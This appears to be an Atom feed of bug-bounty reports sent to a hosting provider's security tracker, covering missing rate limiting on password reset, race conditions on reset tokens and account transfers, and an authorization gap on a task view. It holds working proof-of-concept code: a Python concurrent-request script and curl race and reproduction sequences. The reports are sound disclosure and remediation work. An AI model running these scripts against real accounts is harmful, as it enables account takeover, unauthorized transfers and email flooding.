Severity: Medium (CVSS 5.3) | CWE-307<br />CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
</p>

<p>
## Reproduce
</p>

<p>
1. Get CSRF: curl -c /tmp/c.txt admin.alwaysdata.com/password/lost/ -o /dev/null<br />2. Fire 15 POST requests: all return <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 (no 429)<br />3. Contrast: /login/ returns 429 at attempt 11
</p>

<p>
## Evidence<br />15/15 <acronym title="Hyper Text Transfer Protocol">HTTP</acronym> 200 with no throttling on /password/lost/<br />Login endpoint correctly throttles at attempt 11 - infrastructure supports rate limiting
</p>

<p>
## Impact<br />- Flood any user inbox with unlimited reset emails (no auth needed)<br />- Consume alwaysdata mail delivery resources<br />- Email-harass targeted users via alwaysdata domain
</p>

<p>
## Remediation<br />Rate limit: 3-5 req/hour per IP + 3/hour per email. Reuse infra from /login/.
</p>

<p>
Researcher: adityahadipratama4@gmail.com Full <acronym title="Portable Document Format">PDF</acronym> report (4 findings) attached via support ticket.<br />
</p>
</div>
    </content>
    <author><name>Aditya Hadipratama</name></author>
    <id>https://security.alwaysdata.com/:514</id>
  </entry>
    <entry>
    <title>FS#513: Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix</title>
    <link href="https://security.alwaysdata.com/task/513" />    
    <updated>2026-10-02T07:19:31Z</updated>    
    <published>2026-10-02T06:22:05Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
# Password-reset token single-use is not race-safe — a concurrent burst bypasses the #279 fix
</p>

<p>
<strong>Affected endpoint:</strong> `POST <a href="https://admin.alwaysdata.com/user/reset_password/?user_id=" class="urlextern" title="https://admin.alwaysdata.com/user/reset_password/?user_id="  rel="nofollow">https://admin.alwaysdata.com/user/reset_password/?user_id=</a>&lt;u&gt;&amp;token=&lt;t&gt;&amp;expiration=&lt;e&gt;` (the link sent by `POST /password/lost/`)<br /><strong>Related:</strong> #279 (&quot;reusable login token <acronym title="Uniform Resource Locator">URL</acronym>&quot;) — this report shows the single-use fix it introduced does not hold under concurrency
</p>

<p>
## Summary<br />The password-reset link is single-use <strong>sequentially</strong>: a second use submitted after the first one completes returns *&quot;Le lien utilisé est invalide&quot;* and issues no session (control below). The consumed/invalid state, however, is not applied atomically. When several requests hit the endpoint simultaneously, <strong>all of them pass the validity check and all are processed as a successful reset</strong> — each returns `200` with the authenticated panel and issues an authenticated session. Final run: <strong>4/4 concurrent requests accepted</strong>; earlier runs: 2/2 accepted (both times).
</p>

<p>
Each accepted request authenticates its caller and applies its password (last write wins). An attacker who possesses a leaked/intercepted reset link can therefore race the legitimate use with a small parallel burst: the victim&#039;s reset appears to proceed, while the attacker&#039;s simultaneous request also commits — leaving the attacker with an authenticated session and an attacker-chosen password on a link the victim believes has been consumed. The single-use guarantee that #279 fixed does not actually close the link once; it closes it only against *sequential* reuse.
</p>

<p>
## Preconditions<br />- An account whose mailbox the tester controls (own test accounts were used; free plan).<br />- Possession of the reset link from `POST /password/lost/` — the attacker must already hold the link, hence <strong>Low</strong>; the finding is that the documented single-use property fails under concurrency.
</p>

<p>
## Steps to reproduce<br />1. Request a reset link (own account):
</p>
<pre class="code"> ```
 curl -s -c jar -b jar https://admin.alwaysdata.com/password/lost/ | grep csrfmiddlewaretoken
 curl -s -c jar -b jar -X POST https://admin.alwaysdata.com/password/lost/ \
      -H &#039;Referer: https://admin.alwaysdata.com/password/lost/&#039; \
      --data-urlencode &#039;csrfmiddlewaretoken=&lt;csrf&gt;&#039; \
      --data-urlencode &#039;email=&lt;account email&gt;&#039;
 ```
 → `200` on `/password/sent/`; the e-mail contains:
 `https://admin.alwaysdata.com/user/reset_password/?user_id=…&amp;token=…&amp;expiration=…`</pre>

<p>
 2. <strong>Control (sequential).</strong> Two sessions each GET the link (a GET does not consume the token; each GET returns the form with a CSRF token and a session cookie), then POST — the second POST only <strong>after</strong> the first has completed. Result: first accepted, second rejected.
</p>

<p>
3. <strong>Race.</strong> N sessions each GET the link first, then POST <strong>simultaneously</strong> (thread barrier; `&amp;` + `wait` in shell also works). A GET-then-POST per session is required because each POST needs its own CSRF token and session cookie. Result: every POST is accepted.
</p>

<p>
Self-contained repro script (`python3 poc.py &quot;&lt;link&gt;&quot; &lt;control|race&gt; &lt;N&gt;`):
</p>

<p>
```python<br />import re, sys, threading, urllib.parse, urllib.request, http.cookiejar
</p>

<p>
BASE = &quot;<a href="https://admin.alwaysdata.com" class="urlextern" title="https://admin.alwaysdata.com"  rel="nofollow">https://admin.alwaysdata.com</a>&quot;
</p>

<p>
def new_session(link):
</p>
<pre class="code">  cj = http.cookiejar.CookieJar()
  op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
  body = op.open(link, timeout=30).read().decode(&quot;utf-8&quot;, &quot;replace&quot;)
  csrf = re.search(r&#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;([^&quot;]+)&quot;&#039;, body).group(1)
  return op, csrf</pre>

<p>
 def submit(op, link, csrf, password):
</p>
<pre class="code">  data = urllib.parse.urlencode({&quot;csrfmiddlewaretoken&quot;: csrf, &quot;password&quot;: password}).encode()
  body = op.open(urllib.request.Request(link, data=data,
                headers={&quot;Referer&quot;: link}), timeout=30).read().decode(&quot;utf-8&quot;, &quot;replace&quot;)
  flat = re.sub(r&quot;&lt;[^&gt;]+&gt;&quot;, &quot; &quot;, re.sub(r&quot;&lt;script.*?&lt;/script&gt;&quot;, &quot; &quot;, body, flags=re.S))
  if &quot;lien utilisé est invalide&quot; in flat: return &quot;INVALID (rejected)&quot;
  if &quot;Logout&quot; in flat:                    return &quot;ACCEPTED (authenticated panel page)&quot;
  return &quot;?&quot; </pre>

<p>
 def is_authed(op):
</p>
<pre class="code">  home = op.open(BASE + &quot;/&quot;, timeout=30).read().decode(&quot;utf-8&quot;, &quot;replace&quot;)
  return &quot;Logout&quot; in re.sub(r&quot;&lt;[^&gt;]+&gt;&quot;, &quot; &quot;, re.sub(r&quot;&lt;script.*?&lt;/script&gt;&quot;, &quot; &quot;, home, flags=re.S))</pre>

<p>
 link, mode, n = sys.argv[1], sys.argv[2], int(sys.argv[3])<br />sess = [new_session(link) for _ in range(n)]<br />if mode == &quot;control&quot;:                      # second POST after the first completed
</p>
<pre class="code">  for i, (op, csrf) in enumerate(sess):
      print(&quot;POST #%d:&quot; % i, submit(op, link, csrf, &quot;SeqPw%d!x7Kq&quot; % i))</pre>

<p>
else:                                      # all POSTs fired simultaneously
</p>
<pre class="code">  out, barrier = {}, threading.Barrier(n)
  def worker(i):
      barrier.wait()
      out[i] = submit(sess[i][0], link, sess[i][1], &quot;RacePw%d!xyz&quot; % i)
  ts = [threading.Thread(target=worker, args=(i,)) for i in range(n)]
  [t.start() for t in ts]; [t.join() for t in ts]
  for i in sorted(out): print(&quot;parallel POST #%d:&quot; % i, out[i])</pre>

<p>
for i, (op, _) in enumerate(sess):
</p>
<pre class="code">  print(&quot;session #%d authenticated: %s&quot; % (i, is_authed(op)))</pre>

<p>
```
</p>

<p>
<strong>Observed — race (`race`, N=4, fresh link from a newly requested e-mail):</strong> ```<br />parallel POST #0: ACCEPTED (authenticated panel page)<br />parallel POST #1: ACCEPTED (authenticated panel page)<br />parallel POST #2: ACCEPTED (authenticated panel page)<br />parallel POST #3: ACCEPTED (authenticated panel page)<br />session #0 authenticated: True<br />session #1 authenticated: True<br />session #2 authenticated: True<br />session #3 authenticated: True<br />```<br />Earlier run with N=2: both accepted, both sessions authenticated, and exactly one of the two submitted passwords took effect on a subsequent login (last committed write wins).
</p>

<p>
## Impact<br />- The single-use property (the #279 fix) does not hold under concurrency: one link can be consumed several times at once, and each consumption mints an authenticated session.<br />- Concrete scenario: the attacker holds a leaked link (leaked mailbox, forwarding, logs). When the victim uses it, the attacker&#039;s parallel burst also passes validation. The victim sees a normal successful reset; the attacker keeps a session and, if their request commits last, an attacker-known password — on a link that is supposed to be dead after one use.<br />- No brute force or scanning needed: a handful of requests per attempt reproduces it; severity is Low because the attacker must already possess the link.
</p>

<p>
## Remediation<br />- Make consumption atomic and single-writer: `UPDATE reset_token SET used=1 WHERE token=&lt;t&gt; AND used=0` (or `SELECT … FOR UPDATE`), and treat `rowcount == 0` as &quot;already used&quot; — reject in-flight duplicates instead of processing them.<br />- Mark the token used <strong>before</strong> applying the password change, so exactly one concurrent request wins.<br />- Defence in depth: on successful reset, invalidate the user&#039;s other outstanding reset links and existing sessions.
</p>
</div>
    </content>
    <author><name>Arjun</name></author>
    <id>https://security.alwaysdata.com/:513</id>
  </entry>
    <entry>
    <title>FS#512: Account-transfer cancel and accept are not mutually exclusive  </title>
    <link href="https://security.alwaysdata.com/task/512" />    
    <updated>2026-10-02T07:05:28Z</updated>    
    <published>2026-10-02T06:20:32Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
# Account-transfer cancel and accept are not mutually exclusive — a concurrent accept completes a transfer the owner cancelled (bypass of the #151/#156 fixes)
</p>

<p>
<strong>Severity:</strong> Medium<br /><strong>Affected:</strong> `POST <a href="https://admin.alwaysdata.com/transfer/" class="urlextern" title="https://admin.alwaysdata.com/transfer/"  rel="nofollow">https://admin.alwaysdata.com/transfer/</a>&lt;id&gt;/cancel/` and `POST <a href="https://admin.alwaysdata.com/transfer/" class="urlextern" title="https://admin.alwaysdata.com/transfer/"  rel="nofollow">https://admin.alwaysdata.com/transfer/</a>&lt;id&gt;/accept/`<br /><strong>Same root cause:</strong> `POST <a href="https://admin.alwaysdata.com/transfer/add/?_field_type=account" class="urlextern" title="https://admin.alwaysdata.com/transfer/add/?_field_type=account"  rel="nofollow">https://admin.alwaysdata.com/transfer/add/?_field_type=account</a>` (the &quot;one pending transfer per account&quot; guard is racy)<br /><strong>Related:</strong> #156 (&quot;Block concurrent transfer requests … conflict check&quot;, closed fixed) and #151 (&quot;pending invitations invalidated upon transfer&quot;, closed fixed) — this report is a concurrency bypass of both guarantees
</p>

<p>
## Summary<br />The cancel and accept state transitions of an account-transfer request are not mutually exclusive. When the owner&#039;s cancel and the recipient&#039;s accept are submitted at the same instant, <strong>both commit</strong>: the cancel returns its success redirect and the panel shows *&quot;The transfer has been cancelled.&quot;*, the accept returns its success redirect, and the account is nevertheless transferred to the recipient (with all its resources — sites, domains, mailboxes, databases, <acronym title="Secure Shell">SSH</acronym>). Sequentially the two are exclusive (cancel-then-accept → `404` on the accept; accept-then-cancel → `403` on the cancel), so only the concurrent window is at issue — the same non-atomic state-transition class as #279.
</p>

<p>
Two supporting defects in the same fix family:<br />1. The concurrent-request guard on transfer <strong>creation</strong> is also racy: parallel creates for the same account produced <strong>2/4, 3/4 and 4/4</strong> simultaneous pending records, while a sequential second attempt is refused (&quot;Select a valid choice. That choice is not one of the available choices.&quot; — the account is removed from the form&#039;s selectable set while a transfer is pending).<br />2. `cancel` revokes only the record it names. With duplicates pending (per defect 1), cancelling one leaves the siblings listed <strong>and acceptable</strong>; accepting a surviving sibling moved the account — i.e. the revoked transfer still completed.
</p>

<p>
## Preconditions<br />Two accounts owned by the tester on the same platform: A (current owner / sender) and B (invited recipient). No third party is involved; ownership was reverted after every run. Testing was on the free plan, where only `_field_type=account` records can be created (the `site`/`domain` selects are empty for accounts without custom domains) — so the account-type transfer is the path exercised here; it is the same create/cancel/accept code path.
</p>

<p>
## Steps to reproduce<br />All requests must reuse a <strong>logged-in cookie jar</strong> per account (`-b jar -c jar`); the transfer record id must be a *fresh, pending* record created in step 1. (A stale/cancelled/consumed id returns `403` on cancel <strong>by design</strong> — that is the consumed-record signature, not the bug.)
</p>

<p>
1. <strong>A creates a transfer</strong> of A&#039;s account to B:
</p>
<pre class="code"> ```
 TOK=$(curl -b jarA -c jarA -s &#039;https://admin.alwaysdata.com/transfer/add/?_field_type=account&#039; \
       | grep -o &#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;[^&quot;]*&quot;&#039; | head -1 | cut -d&#039;&quot;&#039; -f4)
 curl -b jarA -c jarA -s -o /dev/null -w &#039;create=%{http_code}\n&#039; -X POST \
   -H &#039;Referer: https://admin.alwaysdata.com/transfer/add/?_field_type=account&#039; \
   --data-urlencode &quot;csrfmiddlewaretoken=$TOK&quot; --data-urlencode &quot;account=&lt;A account id&gt;&quot; \
   --data-urlencode &quot;email=&lt;B email&gt;&quot; --data-urlencode &quot;submit=Submit&quot; \
   &#039;https://admin.alwaysdata.com/transfer/add/?_field_type=account&#039;
 ID=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ \
      | grep -o &#039;/transfer/[0-9]*/&#039; | grep -o &#039;[0-9]*&#039; | sort -n | tail -1)   # the new pending record
 ```
 → `create=302`; the record is listed for both parties; B&#039;s transfer page serves an accept form.</pre>

<p>
 2. <strong>CSRF tokens for cancel/accept must come from each side&#039;s `/transfer/` LIST page</strong> (the cancel/accept URLs themselves contain no token):
</p>
<pre class="code"> ```
 TOK_A=$(curl -b jarA -c jarA -s https://admin.alwaysdata.com/transfer/ | grep -o &#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;[^&quot;]*&quot;&#039; | head -1 | cut -d&#039;&quot;&#039; -f4)
 TOK_B=$(curl -b jarB -c jarB -s https://admin.alwaysdata.com/transfer/ | grep -o &#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;[^&quot;]*&quot;&#039; | head -1 | cut -d&#039;&quot;&#039; -f4)
 ```</pre>

<p>
 3. <strong>Owner cancels, recipient accepts — fired together</strong> (shell `&amp;`; a thread barrier in a script is more deterministic):
</p>
<pre class="code"> ```
 curl -b jarA -c jarA -s -o /dev/null -w &#039;cancel=%{http_code}\n&#039; -X POST \
   -H &quot;Referer: https://admin.alwaysdata.com/transfer/&quot; \
   --data &quot;csrfmiddlewaretoken=$TOK_A&amp;submit=yes&quot; \
   &quot;https://admin.alwaysdata.com/transfer/$ID/cancel/&quot; &amp;
 curl -b jarB -c jarB -s -o /dev/null -w &#039;accept=%{http_code}\n&#039; -X POST \
   -H &quot;Referer: https://admin.alwaysdata.com/transfer/&quot; \
   --data &quot;csrfmiddlewaretoken=$TOK_B&amp;submit=yes&quot; \
   &quot;https://admin.alwaysdata.com/transfer/$ID/accept/&quot; &amp;
 wait
 ```</pre>

<p>
 4. <strong>Verify</strong> from B&#039;s own session: `GET /transfer/add/?_field_type=account` now lists A&#039;s account id in the recipient&#039;s select, although the owner&#039;s cancel returned `302` and A&#039;s panel showed *&quot;The transfer has been cancelled.&quot;* (A GET of `/transfer/` immediately after the cancel shows the confirmation; A&#039;s own select no longer lists the account.)
</p>

<p>
### Observed (race)<br />Barrier-based run, 5 trials, fresh record per trial:<br />```<br />trial 1: record=… cancel=(302) accept=(302) cancel_flash=&#039;The transfer has been cancelled.&#039; MOVED=True<br />trial 2: record=… cancel=(302) accept=(302) cancel_flash=&#039;The transfer has been cancelled.&#039; MOVED=True<br />trial 3: record=… cancel=(302) accept=(302) cancel_flash=&#039;(no flash)&#039;                     MOVED=False (accept 404)<br />trial 4: record=… cancel=(302) accept=(302) cancel_flash=&#039;(no flash)&#039;                     MOVED=False (accept 404)<br />trial 5: record=… cancel=(302) accept=(302) cancel_flash=&#039;(no flash)&#039;                     MOVED=False (accept 404)<br />RESULT: 2/5 trials moved the account<br />```<br />Earlier runs: 3/3 moved, and 4/4 moved (shell `&amp;`). Overall <strong>9/12</strong> documented race attempts moved the account after the owner&#039;s cancellation; when the cancel wins instead, the accept receives its normal `404`. `MOVED=True` was verified from the recipient&#039;s own `/transfer/add/?_field_type=account` select containing the owner&#039;s account id, and the owner&#039;s panel listing no accounts. Ownership was reverted after every successful move (transfer in the opposite direction).
</p>

<p>
### Supporting defect 1 — racy create-guard (4 parallel creates for the same account)<br />```<br />parallel #0: (302)   parallel #1: (302)   parallel #2: (200)   parallel #3: (302)<br />PENDING RECORDS: [&#039;5098&#039;,&#039;5099&#039;,&#039;5100&#039;]      (sequential second create → refused)<br />```
</p>

<p>
### Supporting defect 2 — cancel revokes only the named record<br />With records `[5103..5106]` pending, cancelling only `5103` left `5104`/`5105`/`5106` listed for both parties and their accept form live (`GET /transfer/5104/accept/ → 200`); accepting `5104` moved the account. Positive control: when a transfer *completes*, the acceptance does invalidate all sibling records — accepts of `5099`/`5100` returned `404` afterwards.
</p>

<p>
## Impact<br />- The owner&#039;s cancellation is not authoritative. A recipient who was invited — or whose invitation the owner is revoking (e.g. sent by mistake) — can complete the transfer in the same instant the owner cancels: the owner sees *&quot;The transfer has been cancelled.&quot;* while the account and all of its resources move to the recipient.<br />- The same root cause defeats #156&#039;s invariant (&quot;concurrent transfer requests for the same account must be impossible&quot;): the guard is racy, and duplicate records further weaken revocation, because cancelling one record does not revoke the transfer.<br />- Not bounded by brute force or scanning: a handful of requests per attempt; the only condition is that the recipient races their accept into the cancel window (the recipient is a legitimate party to the request).
</p>

<p>
## Remediation<br />- Make the state transition atomic and single-writer, e.g. `UPDATE transfer_request SET state=&#039;cancelled&#039;, … WHERE id=? AND state=&#039;pending&#039;` and treat `rowcount == 0` as &quot;already consumed&quot; (same for accept); serialize both operations on the record row (`SELECT … FOR UPDATE` or an equivalent compare-and-set), so exactly one of cancel/accept wins and the loser observes the state it actually landed in.<br />- `cancel` (on either side, and especially by the owner) should atomically revoke <strong>all</strong> pending records for the account, not only the named one.<br />- Enforce &quot;one pending transfer per account&quot; with a uniqueness/constraint checked at commit time (and by the conditional insert), not only by excluding the account from the form&#039;s choices.<br />- Defence in depth: return a distinct error when a losing operation hits a non-pending record (a consumed-record cancel currently returns an opaque `403`).
</p>
</div>
    </content>
    <author><name>Arjun</name></author>
    <id>https://security.alwaysdata.com/:512</id>
  </entry>
    <entry>
    <title>FS#511: System tasks (`/task/`) readable with any single delegated permission </title>
    <link href="https://security.alwaysdata.com/task/511" />    
    <updated>2026-10-02T07:20:55Z</updated>    
    <published>2026-10-01T17:11:52Z</published>
    <content type="xhtml" xml:lang="en" xml:base="http://diveintomark.org/">
      <div xmlns="http://www.w3.org/1999/xhtml"> 
<p>
# System tasks (`/task/`) readable with any single delegated permission — mailbox addresses and database names disclosed beyond granted scope
</p>

<p>
<strong>Severity:</strong> Medium — per program tier *&quot;Accessing permissions/config on user accounts without accessing content&quot;*
</p>

<p>
<strong>Summary:</strong> When a customer delegates a single permission on their account (e.g. &quot;Domains&quot;) to another user, every section of the admin panel correctly enforces its own permission — `/mailbox/`, `/database/`, `/ssl/`, `/account/usage/` all return 403 for a Domains-only delegate. The <strong>&quot;System tasks&quot; view is the exception</strong>: `/task/` and `/task/&lt;id&gt;/detail/` are accessible to any user holding <strong>at least one</strong> permission on the account — any permission works (Domains-only, <acronym title="Secure Sockets Layer">SSL</acronym>-only, Usage-only, Scheduled-tasks-only were each tested). The delegate can therefore read the account-wide operations feed, including operations for sections they are explicitly denied: mailbox addresses, database names, Apache/database operations.
</p>

<p>
The dedicated &quot;Scheduled tasks&quot; permission (`account_job`) *is* correctly enforced for `/job/` (403 without it, 200 with it), which shows section-level authorization exists and `/task/` simply does not apply it.<br />Access is grant-derived (not a cross-customer object IDOR): once the grant is removed, the same requests return 404.
</p>

<p>
<strong>Affected <acronym title="Uniform Resource Locator">URL</acronym> / endpoints:</strong> - `GET <a href="https://admin.alwaysdata.com/task/" class="urlextern" title="https://admin.alwaysdata.com/task/"  rel="nofollow">https://admin.alwaysdata.com/task/</a>`<br />- `GET <a href="https://admin.alwaysdata.com/task/" class="urlextern" title="https://admin.alwaysdata.com/task/"  rel="nofollow">https://admin.alwaysdata.com/task/</a>&lt;id&gt;/detail/`
</p>

<p>
<strong>Repro (clean curl)</strong> — two tester-owned accounts required; `A` is the owner of `adtesta1` (account id `503524`), `B` is a second user with no access initially:
</p>

<p>
```bash<br />BASE=<a href="https://admin.alwaysdata.com" class="urlextern" title="https://admin.alwaysdata.com"  rel="nofollow">https://admin.alwaysdata.com</a> A_EMAIL=&#039;owner@example.com&#039;      A_PASS=&#039;owner-password&#039;     # owns adtesta1 (account id 503524)<br />B_EMAIL=&#039;delegate@example.com&#039;   B_PASS=&#039;delegate-password&#039;  # second user, no access yet
</p>

<p>
csrf() { grep -o &#039;name=&quot;csrfmiddlewaretoken&quot; value=&quot;[^&quot;]*&quot;&#039; &quot;$1&quot; | head -1 | cut -d&#039;&quot;&#039; -f4; }<br />login() { # $1=jar $2=email $3=password
</p>
<pre class="code">curl -s -c &quot;$1&quot; &quot;$BASE/login/&quot; -o /tmp/login.html
curl -s -b &quot;$1&quot; -c &quot;$1&quot; -X POST &quot;$BASE/login/&quot; -H &quot;Referer: $BASE/login/&quot; \
     --data-urlencode &quot;csrfmiddlewaretoken=$(csrf /tmp/login.html)&quot; \
     --data-urlencode &quot;login=$2&quot; --data-urlencode &quot;password=$3&quot; -o /dev/null</pre>

<p>
}
</p>

<p>
# — 1) Owner A grants delegate B ONLY the &quot;Domains&quot; permission on adtesta1 — login A.jar &quot;$A_EMAIL&quot; &quot;$A_PASS&quot;<br />curl -s -b A.jar -c A.jar &quot;$BASE/permissions/add/&quot; -o /tmp/grant.html<br />curl -s -b A.jar -c A.jar -X POST &quot;$BASE/permissions/add/&quot; -H &quot;Referer: $BASE/permissions/add/&quot; \
</p>
<ol>
<li class="level1"><div class="li">-data-urlencode &quot;csrfmiddlewaretoken=$(csrf /tmp/grant.html)&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;email=$B_EMAIL&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;account=503524&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;503524_account_domain=on&quot; -o /dev/null</div>
</li>
</ol>

<p>
# (checkbox name pattern is &lt;account_id&gt;_account_&lt;permission&gt;)
</p>

<p>
# — 2) Delegate B logs in, switches to the adtesta1 object context, reads tasks — login B.jar &quot;$B_EMAIL&quot; &quot;$B_PASS&quot;<br />curl -s -b B.jar -c B.jar &quot;$BASE/&quot; -o /tmp/b.html<br />curl -s -b B.jar -c B.jar -X POST &quot;$BASE/&quot; -H &quot;Referer: $BASE/&quot; \
</p>
<ol>
<li class="level1"><div class="li">-data-urlencode &quot;csrfmiddlewaretoken=$(csrf /tmp/b.html)&quot; \</div>
</li>
<li class="level1"><div class="li">-data-urlencode &quot;change-object=account_adtesta1&quot; -o /dev/null</div>
</li>
</ol>

<p>
 # — 3) B reads the account&#039;s task feed — real data — curl -s -b B.jar -o /dev/null -w &#039;GET /task/ → %{http_code}\n&#039; &quot;$BASE/task/&quot;<br />curl -s -b B.jar &quot;$BASE/task/&quot; \
</p>
<pre class="code">| grep -o &#039;/task/[0-9]*/detail/&quot;&gt;\[[^]]*\][^&lt;]*&#039; \
| sed &#039;s|/task/\([0-9]*\)/detail/&quot;&gt;|\1  |&#039; | head -4</pre>

<p>
# 40721533  [adtesta1] adtesta1@alwaysdata.net mailbox configuration<br /># 40720561  [adtesta1] Updating database permissions MySQL: adtesta1_db<br /># 40720560  [adtesta1] Database creation MySQL: adtesta1_db<br /># 40720415  [adtesta1] Database user creation RabbitMQ: adtesta1
</p>

<p>
# pick any task id shown in the list, then read its detail page:<br />curl -s -b B.jar -o /dev/null -w &#039;GET /task/&lt;id&gt;/detail/ → %{http_code}\n&#039; &quot;$BASE/task/&lt;id&gt;/detail/&quot;<br />curl -s -b B.jar &quot;$BASE/task/&lt;id&gt;/detail/&quot; | tr &#039;\n&#039; &#039; &#039; \
</p>
<pre class="code">| grep -oE &#039;&lt;th[^&gt;]*&gt;(Description|Opening date|Status|Involved account):&lt;/th&gt;[[:space:]]*&lt;td&gt;[^&lt;]*&#039; \
| sed -E &#039;s/&lt;th[^&gt;]*&gt;//; s|&lt;/th&gt;[[:space:]]*&lt;td&gt;| |&#039;</pre>

<p>
# Description: [adtesta1] Updating Apache configuration<br /># Opening date: Oct 1, 2026, 5:38:58 PM<br /># Status: Completed<br /># Involved account: adtesta1
</p>

<p>
# — 4) Controls, same session — for u in /domain/ /mailbox/ /database/ /ssl/ /account/usage/ /job/; do
</p>
<pre class="code">curl -s -b B.jar -o /dev/null -w &quot;GET $u -&gt; %{http_code}\n&quot; &quot;$BASE$u&quot;</pre>

<p>
done<br />```
</p>

<p>
<strong>Observed</strong> — output of `repro-01-system-tasks-any-permission.sh` (2026-10-01, tester&#039;s accounts `adtesta1` id 503524 / `adtestb1` id 503525; full log in `evidence-01-run.txt`):
</p>

<p>
```<br />== 1) A grants B ONLY the &#039;Domains&#039; permission on adtesta1 (503524)
</p>
<pre class="code"> grant record: /permissions/493113/</pre>

<p>
== 3) B reads the System tasks of adtesta1 — real data shown below
</p>
<pre class="code"> GET /task/ -&gt; 200   rows leaked for [adtesta1]: 9   (own [adtestb1] rows: 11)
 --- rows of account adtesta1 as displayed to B ---
   40721533  [adtesta1] adtesta1@alwaysdata.net mailbox configuration
   40720561  [adtesta1] Updating database permissions MySQL: adtesta1_db
   40720560  [adtesta1] Database creation MySQL: adtesta1_db
   40720415  [adtesta1] Database user creation RabbitMQ: adtesta1
 GET /task/40720409/detail/ -&gt; 200   --- page content as displayed to B ---
   Description: [adtesta1] Updating Apache configuration
   Opening date: Oct 1, 2026, 5:38:58 PM
   Status: Completed
   Involved account: adtesta1
 --- controls (same session) ---
 GET /domain/           -&gt; 200
 GET /mailbox/          -&gt; 403
 GET /database/         -&gt; 403
 GET /ssl/              -&gt; 403
 GET /account/usage/    -&gt; 403
 GET /job/              -&gt; 403</pre>

<p>
== 4) cleanup: remove the grant<br />== 5) verify restored
</p>
<pre class="code"> A grant records now: 493112
 B GET /task/40720409/detail/  -&gt; 404  (expect 404)</pre>

<p>
```
</p>

<p>
The 9 leaked rows include the account&#039;s mailbox address (`adtesta1@alwaysdata.net`) and database names (`adtesta1_db`, `adtesta1`),<br />even though B is denied `/mailbox/` and `/database/` (403).
</p>

<p>
Also reproduced with each of <acronym title="Secure Sockets Layer">SSL</acronym>-only, Usage-only and Scheduled-tasks-only grants — `/task/` returned 200 in every case.
</p>

<p>
<strong>Impact:</strong> A customer delegating a narrow permission cannot confine the delegate to that section. The delegate reads account-wide operational metadata — mailbox addresses (`adtesta1@alwaysdata.net`), database names (`adtesta1_db`), and operation descriptions — for sections from which they are explicitly blocked (403). Metadata only: no mailbox content, no database content, no credentials.
</p>

<p>
<strong>Remediation:</strong> Enforce a section-level check on `/task/` (and `/task/&lt;id&gt;/detail/`) — either a dedicated permission or filtering the task feed to the caller&#039;s granted sections, the same way `/job/` already enforces `account_job`.<br />
</p>
</div>
    </content>
    <author><name>Arjun</name></author>
    <id>https://security.alwaysdata.com/:511</id>
  </entry>
  </feed>
